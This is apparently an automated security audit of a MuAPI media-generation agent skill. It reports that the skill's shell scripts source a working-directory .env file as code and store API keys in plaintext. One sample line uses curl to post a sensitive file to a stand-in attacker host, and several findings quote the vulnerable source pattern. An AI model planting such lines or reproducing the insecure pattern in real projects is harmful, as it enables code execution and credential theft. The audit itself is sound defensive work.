Back to skill

Security audit

muapi-media-generation

Security checks for vulnerabilities and agentic risk

Overview

This appears to be a real MuAPI media-generation skill, but it needs Review because its scripts can execute commands from a local .env file and store API keys insecurely.

Install only if you trust the publisher and will run it from a controlled directory. Do not run these scripts in projects or folders that may contain an untrusted .env file, avoid using --add-key, prefer setting MUAPI_KEY through your shell or a secret manager, and treat any file passed to --file, --audio-file, --video-file, or upload.sh as being sent to MuAPI/CDN.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
generate-image.sh:25
Finding

Arbitrary Code Execution Through Unsafe Loading of Working-Directory .env Files

Content
View full analysis
/dev/null || true; fi ``` `generate-video.sh:23-24`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` `image-to-video.sh:38`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` `create-music.sh:39`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` `upload.sh:27`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` ### Technical Analysis The scripts use the Bash `source` command to load `.env` from the current working directory. `source` does not parse the file as a passive collection of environment variable assignments. It evaluates the complete file as shell code. Consequently, a `.env` file can contain arbitrary commands, command substitutions, functions, redirections, or other shell constructs. For example, a malicious file could execute a command before assigning `MUAPI_KEY`: ```bash curl -X POST --data-binary @sensitive-file https://attacker.example/upload MUAPI_KEY=placeholder ``` The scripts locate `.env` relative to the caller's current working directory rather than a trusted, Skill-owned path. Therefore, invoking one of these scripts while the current directory contains an attacker-controlled `.env` causes that file to execute. Redirecting errors and appending `|| true` does not provide protection. It suppresses evidence of errors and allows execution to continue after a malicious command fails. ### Attack Path 1. An attacker places a malicious `.env` file in a project, shared directory, extracted archive, or other directory from which the user or Agent is likely to invoke the Skill. 2. The user or Agent starts ...[truncated 1297 chars]
Remediation
View remediation
&2 exit 1 fi ``` If a credential file must be supported, use a dedicated parser that treats its contents strictly as data and never executes them. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
image-to-video.sh:23
Finding

Persistent Shell Injection and Plaintext Credential Exposure Through --add-key

Content
View full analysis
&2; read -r KEY_VALUE; fi if [ -n "$KEY_VALUE" ]; then grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true mv .env.tmp .env 2>/dev/null || true echo "MUAPI_KEY=$KEY_VALUE" >> .env echo "MUAPI_KEY saved to .env" >&2 fi exit 0 fi done if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` `create-music.sh:23-39`: ```bash for arg in "$@"; do if [ "$arg" = "--add-key" ]; then shift KEY_VALUE="" if [[ -n "$1" && ! "$1" =~ ^-- ]]; then KEY_VALUE="$1"; fi if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi if [ -n "$KEY_VALUE" ]; then grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true mv .env.tmp .env 2>/dev/null || true echo "MUAPI_KEY=$KEY_VALUE" >> .env echo "MUAPI_KEY saved to .env" >&2 fi exit 0 fi done if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` ### Technical Analysis The `--add-key` feature writes `KEY_VALUE` directly into `.env` without validating that it is a single-line, shell-safe credential: ```bash echo "MUAPI_KEY=$KEY_VALUE" >> .env ``` A value containing a newline can append additional shell statements to the file. Because the same scripts subsequently load `.env` using `source`, those appended statements execute as shell code during a later invocation. For example, an attacker-contro ...[truncated 2520 chars]
Remediation
View remediation
Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (43)

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The skill is presented as media generation, but documentation also includes uploading local files to a remote CDN. That mismatch matters because users may not expect local content exfiltration when invoking a supposedly generation-focused skill, increasing privacy and data-handling risk.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding

The skill is presented as media generation, but documentation also includes uploading local files to a remote CDN. That mismatch matters because users may not expect local content exfiltration when invoking a supposedly generation-focused skill, increasing privacy and data-handling risk.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The skill is presented as media generation, but documentation also includes uploading local files to a remote CDN. That mismatch matters because users may not expect local content exfiltration when invoking a supposedly generation-focused skill, increasing privacy and data-handling risk.

Content

No source excerpt is available for this finding.

External Model or Provider Selection

High
Category
Excessive Agency
Confidence
90% confidence
Finding

The skill allows selecting external models/providers such as minimax-pro and kling-pro, which means user data may be routed to third-party model backends with differing privacy, retention, and jurisdictional properties. This is not inherently malicious, but it is security-relevant because provider choice can change the data exposure surface without clear disclosure.

Content

Scanner excerpt · SKILL.md (reported line 32)May include surrounding context.

md
bash generate-image.sh --prompt "a sunset over mountains" --model flux-dev --view

# Generate a video
bash generate-video.sh --prompt "ocean waves at golden hour" --model minimax-pro --view

# Animate an image
bash image-to-video.sh --image-url "https://..." --prompt "camera slowly pans right" --model kling-pro

Credential Access

High
Category
Privilege Escalation
Confidence
93% confidence
Finding

This code writes the API key into .env, creating local secret persistence that can be exposed through weak file permissions, shell history workflows, backups, or accidental repository commits. The issue is amplified because the script’s purpose does not require storing credentials on disk to function.

Content

Scanner excerpt · create-music.sh (reported line 30)May include surrounding context.

sh
if [[ -n "$1" && ! "$1" =~ ^-- ]]; then KEY_VALUE="$1"; fi
        if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi
        if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2

Credential Access

High
Category
Privilege Escalation
Confidence
93% confidence
Finding

The temporary rewrite flow for .env manipulates credential-bearing files in the working directory without establishing secure permissions or trust boundaries. This increases the chance of credential disclosure through other local users, tooling, or accidental publication.

Content

Scanner excerpt · create-music.sh (reported line 31)May include surrounding context.

sh
if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi
        if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi

Credential Access

High
Category
Privilege Escalation
Confidence
94% confidence
Finding

Appending MUAPI_KEY directly to .env stores a live secret in plaintext, making it recoverable by anyone with access to the project folder or derived artifacts. Plaintext storage is especially risky in developer environments where directories are commonly synced, backed up, or version-controlled.

Content

Scanner excerpt · create-music.sh (reported line 32)May include surrounding context.

sh
if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
        exit 0

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · create-music.sh (reported line 33)May include surrounding context.

sh
grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
        exit 0
    fi

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · image-to-video.sh (reported line 35)May include surrounding context.

sh
grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
        exit 0
    fi

Credential Access

High
Category
Privilege Escalation
Confidence
98% confidence
Finding

Beyond credential access, sourcing .env creates a code-execution primitive in the current directory context, where project files are often writable or inherited from external sources. In a terminal utility distributed to users, this significantly raises risk because running the script in an untrusted folder can execute attacker-controlled commands silently.

Content

Scanner excerpt · create-music.sh (reported line 39)May include surrounding context.

sh
fi
done

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

while [[ $# -gt 0 ]]; do
    case $1 in

Credential Access

High
Category
Privilege Escalation
Confidence
98% confidence
Finding

Beyond credential access, sourcing .env creates a code-execution primitive in the current directory context, where project files are often writable or inherited from external sources. In a terminal utility distributed to users, this significantly raises risk because running the script in an untrusted folder can execute attacker-controlled commands silently.

Content

Scanner excerpt · create-music.sh (reported line 39)May include surrounding context.

sh
fi
done

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

while [[ $# -gt 0 ]]; do
    case $1 in

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · generate-image.sh (reported line 25)May include surrounding context.

sh
MAX_WAIT=300
POLL_INTERVAL=3

# Check for .env and setup
if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

# Parse arguments

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

This line implicitly trusts a repository-local .env file and evaluates it as shell, enabling command execution and environment manipulation before any validation occurs. In a skill context where users may clone and run scripts directly, this increases the chance of accidental execution of malicious content bundled nearby or dropped into the working directory.

Content

Scanner excerpt · generate-image.sh (reported line 26)May include surrounding context.

sh
POLL_INTERVAL=3

# Check for .env and setup
if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

# Parse arguments
while [[ $# -gt 0 ]]; do

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

This line implicitly trusts a repository-local .env file and evaluates it as shell, enabling command execution and environment manipulation before any validation occurs. In a skill context where users may clone and run scripts directly, this increases the chance of accidental execution of malicious content bundled nearby or dropped into the working directory.

Content

Scanner excerpt · generate-image.sh (reported line 26)May include surrounding context.

sh
POLL_INTERVAL=3

# Check for .env and setup
if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

# Parse arguments
while [[ $# -gt 0 ]]; do

Credential Access

High
Category
Privilege Escalation
Confidence
97% confidence
Finding

The script sources a local .env file as shell code, not as data, which means any commands embedded in .env will execute with the user's privileges. In an agent/skill context, this is dangerous because the current working directory may be attacker-influenced, turning simple credential loading into arbitrary code execution and credential theft.

Content

Scanner excerpt · generate-video.sh (reported line 24)May include surrounding context.

sh
ACTION="generate"
REQUEST_ID=""

# Check for .env
if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

# Parse arguments

Credential Access

High
Category
Privilege Escalation
Confidence
98% confidence
Finding

This finding is the same underlying issue as the other line-25 match: loading .env via source treats attacker-controlled file contents as executable code. In a terminal skill, that materially increases danger because users may run the script from untrusted repositories or directories containing a poisoned .env file.

Content

Scanner excerpt · generate-video.sh (reported line 25)May include surrounding context.

sh
REQUEST_ID=""

# Check for .env
if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

# Parse arguments
while [[ $# -gt 0 ]]; do

Credential Access

High
Category
Privilege Escalation
Confidence
98% confidence
Finding

This finding is the same underlying issue as the other line-25 match: loading .env via source treats attacker-controlled file contents as executable code. In a terminal skill, that materially increases danger because users may run the script from untrusted repositories or directories containing a poisoned .env file.

Content

Scanner excerpt · generate-video.sh (reported line 25)May include surrounding context.

sh
REQUEST_ID=""

# Check for .env
if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

# Parse arguments
while [[ $# -gt 0 ]]; do

Credential Access

High
Category
Privilege Escalation
Confidence
92% confidence
Finding

The script accesses and modifies a local .env file to persist an API credential, which creates a plaintext secret at rest. If the file is readable by other local users or is accidentally committed or archived, the credential can be stolen and abused.

Content

Scanner excerpt · image-to-video.sh (reported line 32)May include surrounding context.

sh
if [[ -n "$1" && ! "$1" =~ ^-- ]]; then KEY_VALUE="$1"; fi
        if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi
        if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2

Credential Access

High
Category
Privilege Escalation
Confidence
92% confidence
Finding

Moving the temporary .env file back into place preserves plaintext credential storage without any permission hardening or validation. This extends the exposure window for a sensitive API key and increases the chance of leakage through local filesystem access or developer workflows.

Content

Scanner excerpt · image-to-video.sh (reported line 33)May include surrounding context.

sh
if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi
        if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Appending MUAPI_KEY directly into .env stores the secret in cleartext and may leave it exposed to accidental disclosure through source-control commits, logs, backups, or shared workspaces. In the context of an API client, this is a real credential protection weakness even if not overtly malicious.

Content

Scanner excerpt · image-to-video.sh (reported line 34)May include surrounding context.

sh
if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
        exit 0

Credential Access

High
Category
Privilege Escalation
Confidence
88% confidence
Finding

Loading credentials from .env at runtime is normal, but using shell source on a writable local file makes credential access more dangerous by turning configuration input into executable code. In shared or untrusted directories this can lead to local code execution and credential compromise.

Content

Scanner excerpt · image-to-video.sh (reported line 41)May include surrounding context.

sh
fi
done

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

while [[ $# -gt 0 ]]; do
    case $1 in

Credential Access

High
Category
Privilege Escalation
Confidence
88% confidence
Finding

Loading credentials from .env at runtime is normal, but using shell source on a writable local file makes credential access more dangerous by turning configuration input into executable code. In shared or untrusted directories this can lead to local code execution and credential compromise.

Content

Scanner excerpt · image-to-video.sh (reported line 41)May include surrounding context.

sh
fi
done

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

while [[ $# -gt 0 ]]; do
    case $1 in

Credential Access

High
Category
Privilege Escalation
Confidence
97% confidence
Finding

Sourcing .env executes it as shell code, not merely parses key-value pairs, so a malicious or tampered .env file can run arbitrary commands in the user's shell context. Because this occurs automatically before the upload, anyone who can place or modify .env in the working directory can achieve code execution and potentially steal the API key or other local secrets.

Content

Scanner excerpt · upload.sh (reported line 27)May include surrounding context.

sh
if [ -z "$FILE" ]; then echo "Error: --file is required" >&2; exit 1; fi

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi
if [ -z "$MUAPI_KEY" ]; then echo "Error: MUAPI_KEY not set" >&2; exit 1; fi

MUAPI_BASE="https://api.muapi.ai/api/v1"

Credential Access

High
Category
Privilege Escalation
Confidence
97% confidence
Finding

Sourcing .env executes it as shell code, not merely parses key-value pairs, so a malicious or tampered .env file can run arbitrary commands in the user's shell context. Because this occurs automatically before the upload, anyone who can place or modify .env in the working directory can achieve code execution and potentially steal the API key or other local secrets.

Content

Scanner excerpt · upload.sh (reported line 27)May include surrounding context.

sh
if [ -z "$FILE" ]; then echo "Error: --file is required" >&2; exit 1; fi

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi
if [ -z "$MUAPI_KEY" ]; then echo "Error: MUAPI_KEY not set" >&2; exit 1; fi

MUAPI_BASE="https://api.muapi.ai/api/v1"

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
94% confidence
Finding

The skill advertises multiple shell scripts but does not declare any tool scope such as allowed tools or permissions. In an agent environment, this weakens policy enforcement and makes it harder for users or platforms to understand that the skill invokes shell commands and external network operations.

Content

No source excerpt is available for this finding.